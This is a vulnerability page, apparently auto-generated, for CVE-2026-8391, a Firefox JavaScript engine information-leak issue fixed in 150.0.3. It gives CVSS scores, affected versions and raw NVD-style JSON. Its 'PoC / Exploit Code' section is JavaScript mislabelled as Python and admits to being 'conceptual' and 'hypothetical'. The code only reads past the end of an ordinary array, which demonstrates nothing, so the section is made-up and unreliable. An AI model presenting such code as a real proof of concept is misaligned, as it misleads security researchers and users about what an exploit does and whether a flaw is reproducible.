Security Vulnerability Report
中文
CVE-2026-8391 CVSS 5.3 MEDIUM

CVE-2026-8391

Published: 2026-05-12 14:17:12
Last Modified: 2026-05-13 17:22:51

Description

Other issue in the JavaScript Engine component. This vulnerability was fixed in Firefox 150.0.3.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:mozilla:firefox:*:*:*:*:-:*:*:* - VULNERABLE
Mozilla Firefox < 150.0.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// Conceptual Proof of Concept for CVE-2026-8391 // Triggering the JavaScript Engine issue to leak memory layout function triggerLeak() { // Step 1: Prepare memory layout with specific objects let victim_array = new Array(1000).fill(1.1); let helper_array = new Array(1000).fill(2.2); // Step 2: Perform operations that confuse the engine's optimization // This simulates the 'Other issue' in the engine component for (let i = 0; i < 100; i++) { victim_array[i] = {}; helper_array[i] = victim_array[i]; } // Step 3: Attempt to access memory out of bounds or read internal properties // In a real exploit, this would return pointers or sensitive data try { // Hypothetical access pattern based on the vulnerability description let leaked_value = victim_array[1001]; if (leaked_value !== undefined) { console.log("[+] Potential information leakage detected:", leaked_value); } else { console.log("[-] No immediate leakage detected on this run."); } } catch (e) { console.log("[!] Exception thrown, engine may be patched:", e.message); } } triggerLeak();

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-8391", "sourceIdentifier": "[email protected]", "published": "2026-05-12T14:17:12.173", "lastModified": "2026-05-13T17:22:51.043", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Other issue in the JavaScript Engine component. This vulnerability was fixed in Firefox 150.0.3."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}, {"lang": "en", "value": "CWE-79"}, {"lang": "en", "value": "CWE-119"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:firefox:*:*:*:*:-:*:*:*", "versionEndExcluding": "150.0.3", "matchCriteriaId": "B13F359A-1C15-48B4-8319-AD42CC852E8C"}]}]}], "references": [{"url": "https://bugzilla.mozilla.org/show_bug.cgi?id=2038575", "source": "[email protected]", "tags": ["Permissions Required"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2026-45/", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}